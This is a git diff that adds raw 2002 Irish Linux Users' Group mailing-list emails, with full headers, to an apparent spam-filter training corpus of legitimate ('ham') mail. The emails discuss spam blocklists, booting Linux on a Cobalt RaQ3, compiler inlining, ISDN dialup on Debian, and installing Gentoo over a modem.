+__________________________________________________ +Do You Yahoo!? +Everything you'll ever need on one web page +from News and Sport to Email and Music Charts +http://uk.my.yahoo.com + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00307.6cfae2c5703c7eb36db9c8158c70b0ae b/bayes/spamham/easy_ham_2/00307.6cfae2c5703c7eb36db9c8158c70b0ae new file mode 100644 index 0000000..c564f1d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00307.6cfae2c5703c7eb36db9c8158c70b0ae @@ -0,0 +1,69 @@ +From ilug-admin@linux.ie Fri Aug 9 15:21:12 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 78011440DC + for ; Fri, 9 Aug 2002 10:20:59 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:20:59 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EJHb06063 for + ; Fri, 9 Aug 2002 15:19:17 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id JAA04584 for ; + Fri, 9 Aug 2002 09:45:00 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA30217; Fri, 9 Aug 2002 09:43:15 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA30182 for ; Fri, + 9 Aug 2002 09:43:08 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id JAA29057 for ; Fri, + 9 Aug 2002 09:42:37 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g798h0o28377 for ilug@linux.ie; Fri, 9 Aug 2002 09:43:00 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Fri, 9 Aug 2002 09:43:00 +0100 +From: "John P. Looney" +To: ilug@linux.ie +Subject: Re: [ILUG] TMDA (WAS --> slashdot EW Dijkstra humor] +Message-Id: <20020809084300.GE27461@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: ilug@linux.ie +References: <9C498074D5419A44B05349F5BF2C26301CFA6C@sdubtalex01.education.gov.ie> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <9C498074D5419A44B05349F5BF2C26301CFA6C@sdubtalex01.education.gov.ie> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Aug 09, 2002 at 09:30:29AM +0100, Ryan, Shane mentioned: +> IMHO stopping spammers is a great idea but I'd rather +> have to hit d or delete rather than have my messages +> bounced by someone else's ISP. + + I'd prefer to use an ISP that didn't tolerate spammers myself. + + The only way Spam lists work is because ISP's customers find they can't +send mail to many domains, and ask the ISP to do something about it. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00308.471343c72013f4df6a93a7cd51edaace b/bayes/spamham/easy_ham_2/00308.471343c72013f4df6a93a7cd51edaace new file mode 100644 index 0000000..447d67c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00308.471343c72013f4df6a93a7cd51edaace @@ -0,0 +1,72 @@ +From ilug-admin@linux.ie Fri Aug 9 15:21:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5DC63440CF + for ; Fri, 9 Aug 2002 10:20:58 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:20:58 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EJ8b06055 for + ; Fri, 9 Aug 2002 15:19:08 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id JAA04583 for ; + Fri, 9 Aug 2002 09:44:59 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA30120; Fri, 9 Aug 2002 09:42:13 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA30091 for ; Fri, + 9 Aug 2002 09:42:08 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id JAA29002 for ; Fri, + 9 Aug 2002 09:41:37 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g798g0c28328 for ilug@linux.ie; Fri, 9 Aug 2002 09:42:00 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Fri, 9 Aug 2002 09:42:00 +0100 +From: "John P. Looney" +To: ilug@linux.ie +Subject: Re: [ILUG] Cobalt question +Message-Id: <20020809084200.GD27461@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: ilug@linux.ie +References: <20020808103101.GA1853@jinny.ie> + <20020808175118.GC30251@iulus.wunsch.org> + <20020809080152.GE23620@jinny.ie> <3D537CB9.7050902@corvil.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <3D537CB9.7050902@corvil.com> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Fri, Aug 09, 2002 at 09:26:33AM +0100, Padraig Brady mentioned: +> ext2 can mount an ext3 partition, but there are +> probably small changes required (to the BIOS) +> to support this? + + Most likely. But, seeing as I've flashed the thing with the most +up-to-date BIOS I could get (with all the screaming 'experimental' stuff +you usually see), and no luck. + + Next trick is to format /boot as ext2, and try again. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00309.e35e529fcea4957316806e7b653a76d8 b/bayes/spamham/easy_ham_2/00309.e35e529fcea4957316806e7b653a76d8 new file mode 100644 index 0000000..45a7ae3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00309.e35e529fcea4957316806e7b653a76d8 @@ -0,0 +1,68 @@ +From ilug-admin@linux.ie Fri Aug 9 15:21:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7B5F743FB1 + for ; Fri, 9 Aug 2002 10:21:03 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:21:03 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EJJb06065 for + ; Fri, 9 Aug 2002 15:19:19 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id JAA04638 for ; + Fri, 9 Aug 2002 09:54:26 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA30726; Fri, 9 Aug 2002 09:53:11 +0100 +Received: from matrix.netsoc.tcd.ie (netsoc.tcd.ie [134.226.83.50]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id JAA30697 for ; + Fri, 9 Aug 2002 09:53:06 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host netsoc.tcd.ie + [134.226.83.50] claimed to be matrix.netsoc.tcd.ie +Received: from matrix (localhost [127.0.0.1]) by matrix.netsoc.tcd.ie + (Postfix) with ESMTP id AE3003445B for ; Fri, + 9 Aug 2002 09:52:35 +0100 (IST) +Date: Fri, 9 Aug 2002 09:52:33 +0100 +To: "'ilug@linux.ie'" +Subject: Re: [ILUG] slashdot EW Dijkstra humor +Message-Id: <20020809095233.A22778@netsoc.tcd.ie> +References: <55DA5264CE16D41186F600D0B74D6B09247243@KBS01> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <55DA5264CE16D41186F600D0B74D6B09247243@KBS01> +User-Agent: Mutt/1.3.23i +X-Operating-System: SunOS matrix 5.8 Generic_108528-09 sun4u sparc +From: Gary Coady +Mail-Followup-To: ilug@linux.ie +X-Delivery-Agent: TMDA/0.59 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Thu, Aug 08, 2002 at 01:40:30PM +0100, Brian O'Donoghue wrote: +> One thing that really bugs me is when people say things like. +> +> "On the machies we have these days you don't have to worry about +> writing optimised code" or "don't worry about writing +> things inline, just use a function" + +Oops, I tend to feel like that most times! I tend to feel that if we +have extremely good compilation tools, then those tools should be able +to do the inlining and optimisation far better than I could. That's the +theory anyway :) And there's always a tradeoff with inlining between +speed and memory bloat (which may sometimes be no tradeoff if swap +starts getting involved...) + +Gary. + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00310.5416fc4a71aadc904dbb4de56a299a71 b/bayes/spamham/easy_ham_2/00310.5416fc4a71aadc904dbb4de56a299a71 new file mode 100644 index 0000000..f8dbdb1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00310.5416fc4a71aadc904dbb4de56a299a71 @@ -0,0 +1,78 @@ +From ilug-admin@linux.ie Fri Aug 9 15:21:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6A0C7440D4 + for ; Fri, 9 Aug 2002 10:21:01 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:21:01 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EJPb06088 for + ; Fri, 9 Aug 2002 15:19:30 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id JAA04493 for ; + Fri, 9 Aug 2002 09:29:03 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA29289; Fri, 9 Aug 2002 09:26:50 +0100 +Received: from corvil.com. (k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id JAA29264 + for ; Fri, 9 Aug 2002 09:26:44 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host k100-159.bas1.dbn.dublin.eircom.net + [159.134.100.159] claimed to be corvil.com. +Received: from corvil.com (pixelbeat.local.corvil.com [172.18.1.170]) by + corvil.com. (8.12.5/8.12.5) with ESMTP id g798Qhn4003504 for + ; Fri, 9 Aug 2002 09:26:43 +0100 (IST) (envelope-from + padraig.brady@corvil.com) +Message-Id: <3D537CB9.7050902@corvil.com> +Date: Fri, 09 Aug 2002 09:26:33 +0100 +From: Padraig Brady +Organization: Corvil Networks +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug@linux.ie +Subject: Re: [ILUG] Cobalt question +References: <20020808103101.GA1853@jinny.ie> + <20020808175118.GC30251@iulus.wunsch.org> + <20020809080152.GE23620@jinny.ie> +Content-Type: text/plain; charset=ISO-8859-1; format=flowed +Content-Transfer-Encoding: 8bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +John P. Looney wrote: +> On Thu, Aug 08, 2002 at 11:51:18AM -0600, Scott Wunsch mentioned: +> +>>On Thu, 08-Aug-2002 at 11:31:01 +0100, John P. Looney wrote: +>> +>>> I've installed Redhat 7.3 on a raq3's disk. But fscked if I can get the +>>>kernel in /boot/vmlinuz-2.4.18-3 to boot. It's insisting pulling the +>>>kernel from ... somewhere else. The old cobalt kernel. +>> +>>http://www.gurulabs.com/rgh-cobalt-howto/index.html +>> +>>The Cobalt systems have some neat firmware boot code that will read the +>>ext2 filesystem and find the kernel itself... if you put it exactly where +>>they expect it. +> +> Alas, I've been following that howto, and it doesn't seem to work. It +> could be because i'm using ext3 for the rootfs though. + +ext2 can mount an ext3 partition, but there are +probably small changes required (to the BIOS) +to support this? + +Pádraig. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00311.f22b90c77d9ba409008492b1905839f8 b/bayes/spamham/easy_ham_2/00311.f22b90c77d9ba409008492b1905839f8 new file mode 100644 index 0000000..ff8ec5d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00311.f22b90c77d9ba409008492b1905839f8 @@ -0,0 +1,86 @@ +From ilug-admin@linux.ie Fri Aug 9 15:21:39 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 06C044406D + for ; Fri, 9 Aug 2002 10:21:05 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:21:05 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EJVb06105 for + ; Fri, 9 Aug 2002 15:19:31 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id JAA04520 for ; + Fri, 9 Aug 2002 09:32:51 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA29680; Fri, 9 Aug 2002 09:32:06 +0100 +Received: from lhidns.gov.ie ([193.1.228.222]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA29639 for ; Fri, + 9 Aug 2002 09:31:59 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host [193.1.228.222] claimed to + be lhidns.gov.ie +Received: from gw.educ.irlgov.ie (educ-gw.gov.ie [192.168.6.1] (may be + forged)) by lhidns.gov.ie (8.9.3/8.9.3) with ESMTP id JAA30717; + Fri, 9 Aug 2002 09:30:46 +0100 +Received: (from fwtk@localhost) by gw.educ.irlgov.ie (8.8.6/8.8.6) id + KAA27235; Fri, 9 Aug 2002 10:49:43 +0100 (BST) +Received: from unknown(10.0.0.13) by gw.educ.irlgov.ie via smap (V2.0) id + xma027225; Fri, 9 Aug 02 10:49:25 +0100 +Content-Class: urn:content-classes:message +Subject: RE: [ILUG] TMDA (WAS --> slashdot EW Dijkstra humor] +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Date: Fri, 9 Aug 2002 09:30:29 +0100 +X-Mimeole: Produced By Microsoft Exchange V6.0.5762.3 +Message-Id: <9C498074D5419A44B05349F5BF2C26301CFA6C@sdubtalex01.education.gov.ie> +X-MS-Has-Attach: +X-MS-Tnef-Correlator: +Thread-Topic: [ILUG] TMDA (WAS --> slashdot EW Dijkstra humor] +Thread-Index: AcI/DuGbMxCWO9w7QJaxyCPSPHZxoAAb4aew +From: "Ryan, Shane" +To: "Paul Jakma" +Cc: +Content-Transfer-Encoding: 8bit +X-MIME-Autoconverted: from quoted-printable to 8bit by lugh.tuatha.org id + JAA29639 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +>SPEWS: to force ISPs to take action against spammers +> +>SPEWS /will/ list entire ISP netblocks /if/ the ISP consistently +>ignores/fails to take action on abuse reports over the course of +>several months. however, they're pretty quick at delisting once action +>is taken. in the long-term, and in absence of global and effective +>anti-UCE regulations, it's the only realistic way to get to a spam +>free internet. +> +>Open relay lists: to protect against relays obviously. + +Is this something along the same line as ORBS? +I remember not so long ago when eircom was put +on the ORBS list, half the ISP's in Europe wouldn't +accept mail from my address. Of course, informing +Eircom of this did nothing for about 4 months or so. + +IMHO stopping spammers is a great idea but I'd rather +have to hit d or delete rather than have my messages +bounced by someone else's ISP. + + + +Regards, +Shane + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00312.b5d817c015aec10078fa7e765fb28b99 b/bayes/spamham/easy_ham_2/00312.b5d817c015aec10078fa7e765fb28b99 new file mode 100644 index 0000000..94c8765 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00312.b5d817c015aec10078fa7e765fb28b99 @@ -0,0 +1,74 @@ +From ilug-admin@linux.ie Fri Aug 9 15:21:41 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2FF4E440DD + for ; Fri, 9 Aug 2002 10:21:06 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:21:06 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EKMb06202 for + ; Fri, 9 Aug 2002 15:20:22 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id JAA04400 for ; + Fri, 9 Aug 2002 09:05:36 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA28377; Fri, 9 Aug 2002 09:02:07 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA28333 for ; Fri, + 9 Aug 2002 09:02:01 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id JAA26531 for ; Fri, + 9 Aug 2002 09:01:30 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g7981qD25157 for ilug@linux.ie; Fri, 9 Aug 2002 09:01:52 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Fri, 9 Aug 2002 09:01:52 +0100 +From: "John P. Looney" +To: ilug@linux.ie +Subject: Re: [ILUG] Cobalt question +Message-Id: <20020809080152.GE23620@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: ilug@linux.ie +References: <20020808103101.GA1853@jinny.ie> + <20020808175118.GC30251@iulus.wunsch.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020808175118.GC30251@iulus.wunsch.org> +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Thu, Aug 08, 2002 at 11:51:18AM -0600, Scott Wunsch mentioned: +> On Thu, 08-Aug-2002 at 11:31:01 +0100, John P. Looney wrote: +> > I've installed Redhat 7.3 on a raq3's disk. But fscked if I can get the +> > kernel in /boot/vmlinuz-2.4.18-3 to boot. It's insisting pulling the +> > kernel from ... somewhere else. The old cobalt kernel. +> http://www.gurulabs.com/rgh-cobalt-howto/index.html +> +> The Cobalt systems have some neat firmware boot code that will read the +> ext2 filesystem and find the kernel itself... if you put it exactly where +> they expect it. + + Alas, I've been following that howto, and it doesn't seem to work. It +could be because i'm using ext3 for the rootfs though. + +Kate + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00313.bb198760694c91a9571f1cafff4eef21 b/bayes/spamham/easy_ham_2/00313.bb198760694c91a9571f1cafff4eef21 new file mode 100644 index 0000000..58536c5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00313.bb198760694c91a9571f1cafff4eef21 @@ -0,0 +1,71 @@ +From ilug-admin@linux.ie Fri Aug 9 15:41:33 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BFB4E440DD + for ; Fri, 9 Aug 2002 10:34:49 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:34:49 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EVIb07574 for + ; Fri, 9 Aug 2002 15:31:18 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id XAA01915 for ; + Thu, 8 Aug 2002 23:58:09 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA09184; Thu, 8 Aug 2002 23:56:23 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from byron.heanet.ie (byron.heanet.ie [193.1.219.90]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id XAA09149 for ; + Thu, 8 Aug 2002 23:56:16 +0100 +Received: from [2002:c101:da82::1] (helo=heanet.ie) by byron.heanet.ie + with esmtp (Exim 4.05) id 17cwDn-0004Cn-00 for ilug@linux.ie; + Thu, 08 Aug 2002 23:57:35 +0100 +Message-Id: <3D52F76C.1000903@heanet.ie> +Date: Thu, 08 Aug 2002 23:57:48 +0100 +From: Dave Wilson +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.9) Gecko/20020408 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug@linux.ie +Content-Type: text/plain; charset=ISO-8859-15; format=flowed +Content-Transfer-Encoding: 7bit +Subject: [ILUG] Dialup on debian +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi all, + +I have a debian machine with an external ISDN terminal adapter, which +I'm trying to get to dial a Cisco 3600 running CHAP. wvdial on Red Hat +copes fine with this. However, I get the same results if i use pon or +wvdial on Debian: pppd negotiation is detected, pppd is started -- and +I'm never assigned an IP address. + +Looking at the logs on the Cisco, I see that in place of the username I +seem to be transmitting a six-digit hex number. e.g.: + +Aug 8 23:35:00.311 UTC+1: %ISDN-6-CONNECT: Interface Serial0/0:19 is +now connected to 19eb85 + +The last entry should be my dialup username. (Substitute incoming phone +number for ). + +Any ideas what I'm doing wrong? + +Cheers, +Dave + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00314.ea2320dd4e87b08924861080f8e7b8f5 b/bayes/spamham/easy_ham_2/00314.ea2320dd4e87b08924861080f8e7b8f5 new file mode 100644 index 0000000..6b5a3d7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00314.ea2320dd4e87b08924861080f8e7b8f5 @@ -0,0 +1,123 @@ +From ilug-admin@linux.ie Fri Aug 9 16:04:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 891CF440E2 + for ; Fri, 9 Aug 2002 10:59:45 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:59:45 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EZZb08384 for + ; Fri, 9 Aug 2002 15:35:35 +0100 +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + webnote.net (8.9.3/8.9.3) with ESMTP id VAA01041 for ; + Thu, 8 Aug 2002 21:56:14 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id VAA04656; Thu, 8 Aug 2002 21:48:31 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail03.svc.cra.dublin.eircom.net + (mail03.svc.cra.dublin.eircom.net [159.134.118.19]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id VAA04625 for ; Thu, + 8 Aug 2002 21:48:25 +0100 +Message-Id: <200208082048.VAA04625@lugh.tuatha.org> +Received: (qmail 93744 messnum 529542 invoked from + network[159.134.237.90/chester.eircom.net]); 8 Aug 2002 20:47:54 -0000 +Received: from chester.eircom.net (HELO webmail.eircom.net) + (159.134.237.90) by mail03.svc.cra.dublin.eircom.net (qp 93744) with SMTP; + 8 Aug 2002 20:47:54 -0000 +From: "wintermute" +To: ilug@linux.ie +Subject: Re: [ILUG] Gentoo Linux +Date: Thu, 8 Aug 2002 22:24:32 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 8bit +X-Originating-Ip: 159.134.176.67 +X-Mailer: Eircom Net CRC Webmail (http://www.eircom.net/) +Organization: Eircom Net (http://www.eircom.net/) +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Mark Page printfd + +APOLOGIES IN ADVANCE FOR 80 CHAR LINES IN WEB MAIL (will get a mail client for this soon, honest) + +> Has anybody on the list installed/used this distro? If so wouldn't mind a bit +> of help. +> +> Burnt the ISO's from the latest Linux Format magazine. Took a couple of +> attempts to install but got there. My problem - I have a standard dial-up +> modem and the installation gives you the network card setup so internet +> download is out of the question, but, I installed the Stage3 tarball which +> puts the .tgz files on your harddrive. +> +> So methinks, I have the software there and all I need to do is install so as +> 1) get the necessary programmes to connect to the net and 2) install any +> other programmes I might need. +> +> What actually happens is that if, for example, I attempt to install the KDE +> package, the system goes looking for any dependencies on the net despite the +> fact that the dependencies reside on my hard drive. Obviously I can't install +> anything. +> +> Have checked all docs on the web page and nothing deals with a standard +> dial-up modem or how to tell the package manager to look for the dependencies +> on the hard drive. +> +> Anybody able to help me here? +> +> Thanks in anticipation. + + +Yup I'm running it on my k6 233 laptop. It's tres sweet. + +I would recommend getting wvdial, opening a virtual terminal dialing the internet and then emerging the packages you need. + +I did my install over my home lan and the lan in work (which has DSL - running Linux as firewall/router/mailserver of course). + +But yes you will need at least wvdial to make this puppy happen me thinks. + +In fact it looks as if the base install comes with wvdial for just this kind of instal. + +But I just found this on the Gentoo site for you. +http://forums.gentoo.org/viewtopic.php?t=4691&highlight=modem + +Specifically + +quote: +If it is not too obvious, these are the steps I took. + + + * Boot off the install CD + * modprobe serial + * setserial (if needed) + * create mount point for other distribution + * mount other distribution + * chroot'd to other distribution + * su - to regular user + * ran wvdial + * switch consoles and install as normal + + +And yes I do give better technical support to people who use +distros I like. + +I'm only laughing on the outside +My smile is just skin deep +If you could see inside I'm really crying +You might join me for a weep. +<> + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. 